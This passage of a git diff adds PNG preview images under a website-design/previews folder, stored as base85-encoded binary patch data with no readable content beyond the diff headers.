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 literal 0 HcmV?d00001 diff --git a/website-design/previews/anim3-v7-write.png b/website-design/previews/anim3-v7-write.png new file mode 100644 index 0000000000000000000000000000000000000000..f2e7a8b40f128c47f71e3956c692c1f2758e0cd1 GIT binary patch literal 17375 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 